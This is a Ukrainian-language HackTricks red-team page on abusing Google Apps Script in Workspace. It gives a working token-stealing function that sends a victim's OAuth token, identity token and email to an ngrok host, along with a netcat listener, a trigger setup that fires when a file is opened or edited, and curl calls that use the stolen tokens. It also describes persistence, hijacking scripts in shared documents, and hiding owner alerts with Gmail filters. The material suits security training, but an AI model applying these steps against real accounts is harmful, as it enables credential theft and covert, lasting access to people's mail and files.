GWS - App Scripts

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Сценарії застосунків

Сценарії застосунків - це код, який буде запускатися, коли користувач з дозволом редактора отримує доступ до документа, з яким пов'язаний App Script, і після прийняття запиту OAuth. Їх також можна налаштувати на виконання через певний час власником App Script (Стійкість).

Створення App Script

Є кілька способів створення App Script, хоча найпоширеніші - з Google Document (будь-якого типу) та як самостійний проект:

Створення зв'язаного з контейнером проекту з Google Docs, Sheets або Slides
  1. Відкрийте документ Docs, електронну таблицю Sheets або презентацію Slides.

  2. Клацніть Extensions > Google Apps Script.

  3. У редакторі скриптів клацніть Untitled project.

  4. Дайте своєму проекту назву та клацніть Rename.

Створення самостійного проекту

Для створення самостійного проекту з Apps Script:

  1. Перейдіть на script.google.com.

  2. Клацніть New Project.

  3. У редакторі скриптів клацніть Untitled project.

  4. Дайте своєму проекту назву та клацніть Rename.

Створення самостійного проекту з Google Drive
  1. Відкрийте Google Drive.

  2. Клацніть New > More > Google Apps Script.

Створення зв'язаного з контейнером проекту з Google Forms
  1. Відкрийте форму в Google Forms.

  2. Клацніть More more_vert > Script editor.

  3. У редакторі скриптів клацніть Untitled project.

  4. Дайте своєму проекту назву та клацніть Rename.

Створення самостійного проекту за допомогою інструменту командного рядка clasp

clasp - це інструмент командного рядка, який дозволяє створювати, витягувати/завантажувати та розгортати проекти Apps Script з терміналу.

Див. Посібник з інтерфейсу командного рядка за допомогою clasp для отримання додаткової інформації.

Сценарій App Script

Створення Google Sheet з App Script

Почніть з створення App Script, моя рекомендація для цього сценарію - створити Google Sheet і перейти до Extensions > App Scripts, це відкриє новий App Script для вас, пов'язаний з аркушем.

Витік токену

Для надання доступу до токену OAuth вам потрібно клацнути на Services + та додати обсяги, такі як:

  • AdminDirectory: Доступ до користувачів та груп каталогу (якщо у користувача достатньо дозволів)

  • Gmail: Для доступу до даних Gmail

  • Drive: Для доступу до даних Drive

  • Google Sheets API: Для роботи з тригером

Щоб змінити необхідні обсяги самостійно, ви можете перейти до налаштувань проекту та увімкнути: Show "appsscript.json" manifest file in editor.

function getToken() {
var userEmail = Session.getActiveUser().getEmail();
var domain = userEmail.substring(userEmail.lastIndexOf("@") + 1);
var oauthToken = ScriptApp.getOAuthToken();
var identityToken = ScriptApp.getIdentityToken();

// Data json
data = {
"oauthToken": oauthToken,
"identityToken": identityToken,
"email": userEmail,
"domain": domain
}

// Send data
makePostRequest(data);

// Use the APIs, if you don't even if the have configured them in appscript.json the App script won't ask for permissions

// To ask for AdminDirectory permissions
var pageToken = "";
page = AdminDirectory.Users.list({
domain: domain,  // Use the extracted domain
orderBy: 'givenName',
maxResults: 100,
pageToken: pageToken
});

// To ask for gmail permissions
var threads = GmailApp.getInboxThreads(0, 10);

// To ask for drive permissions
var files = DriveApp.getFiles();
}


function makePostRequest(data) {
var url = 'http://5.tcp.eu.ngrok.io:12027';

var options = {
'method' : 'post',
'contentType': 'application/json',
'payload' : JSON.stringify(data)
};

try {
UrlFetchApp.fetch(url, options);
} catch (e) {
Logger.log("Error making POST request: " + e.toString());
}
}

Для захоплення запиту ви можете просто запустити:

ngrok tcp 4444
nc -lv 4444 #macOS

Дозволи, запитані для виконання App Script:

При зовнішньому запиті також запитатиметься дозвіл на доступ до зовнішніх кінцевих точок.

Створення Тригера

Після того, як App прочитано, клацніть на ⏰ Тригери, щоб створити тригер. Як функцію для виконання виберіть getToken, запускайте при розгортанні Head, у джерелі подій виберіть З таблиці і тип події виберіть При відкритті або При редагуванні (згідно з вашими потребами) та збережіть.

Зверніть увагу, що ви можете перевірити виконання App Scripts во вкладці Виконання, якщо ви хочете відлагодити щось.

Поділ

Для запуску App Script потерпілому потрібно підключитися з доступом Редактора.

Токен, використаний для виконання App Script, буде тим, який створив тригер, навіть якщо файл відкрито як Редактор іншими користувачами.

Зловживання документами, які були спільно використані зі мною

Якщо хтось поділився з вами документом з App Scripts та тригером, використовуючи Head App Script (не фіксоване розгортання), ви можете змінити код App Script (додавши, наприклад, функції крадіжки токенів), отримати до нього доступ, і App Script буде виконано з дозволами користувача, який поділився документом з вами! (зверніть увагу, що токен OAuth власника матиме доступ до областей, які були вказані при створенні тригера).

Повідомлення буде відправлено власнику скрипта, що показує, що хтось змінив скрипт (А що на рахунок використання дозволів gmail для створення фільтра, щоб запобігти сповіщенню?)

Якщо зловмисник змінює області App Script, оновлення не будуть застосовані до документа, поки не буде створено новий тригер зі змінами. Таким чином, зловмисник не зможе вкрасти токен власника з більшими областями, ніж ті, які він встановив у тригері, який він створив.

Копіювання замість спільного використання

Коли ви створюєте посилання для спільного використання документа, створюється посилання, схоже на це: https://docs.google.com/spreadsheets/d/1i5[...]aIUD/edit Якщо ви зміните закінчення "/edit" на "/copy", замість доступу google запитає вас, чи хочете ви створити копію документа:

Якщо користувач скопіює його та отримає доступ, вміст документа та App Scripts будуть скопійовані, проте тригери ні. Тому нічого не буде виконано.

Спільне використання як веб-додаток

Зверніть увагу, що також можливо спільно використовувати App Script як веб-додаток (у Редакторі App Script, розгорнути як веб-додаток), але з'явиться сповіщення, подібне до цього:

За яким слідує типове сповіщення OAuth, яке запитує необхідні дозволи.

Тестування

Ви можете протестувати зібраний токен, щоб перелічити електронні листи за допомогою:

curl -X GET "https://www.googleapis.com/gmail/v1/users/<user@email>/messages" \
-H "Authorization: Bearer <token>"

Список календаря користувача:

curl -H "Authorization: Bearer $OAUTH_TOKEN" \
-H "Accept: application/json" \
"https://www.googleapis.com/calendar/v3/users/me/calendarList"

Скрипт додатка як постійність

Одним з варіантів постійності може бути створення документа та додавання тригера для функції getToken та поділ документа з зловмисником, щоб кожного разу, коли зловмисник відкриває файл, ексфільтрувався токен жертви.

Також можна створити скрипт додатка та встановити тригер на виконання через X часу (наприклад, кожну хвилину, годину, день...). Зловмисник, який отримав доступ до облікових даних або сесії жертви, може встановити тригер часу для скрипта додатка та витікати дуже привілейований OAuth токен щодня:

Просто створіть скрипт додатка, перейдіть до Тригерів, натисніть на Додати тригер та виберіть як джерело події Time-driven та виберіть опції, які найкраще підходять вам:

Це призведе до відправлення електронної пошти з попередженням про це та повідомлення на ваш мобільний пристрій.

Обхід непідтвердженого запиту на спільний документ

Більше того, якщо хтось поділився з вами документом з доступом редактора, ви можете створити скрипти додатків всередині документа, а ВЛАСНИК (створювач) документа буде власником скрипта додатка.

Це означає, що створювач документа буде виглядати як створювач будь-якого скрипта додатка, який будь-хто з доступом редактора створює всередині нього.

Це також означає, що скрипт додатка буде довіряти середовищу Workspace створювача документа.

Це також означає, що якщо скрипт додатка вже існує і люди надали доступ, будь-хто з дозволом Редактор на документ може змінити й зловживати цим доступом. Щоб зловживати цим, вам також потрібно, щоб люди викликали скрипт додатка. І один цікавий трюк - опублікувати скрипт як веб-додаток. Коли люди, які вже надали доступ до скрипта додатка, отримають доступ до веб-сторінки, вони викличуть скрипт додатка (це також працює за допомогою тегів <img>).

Last updated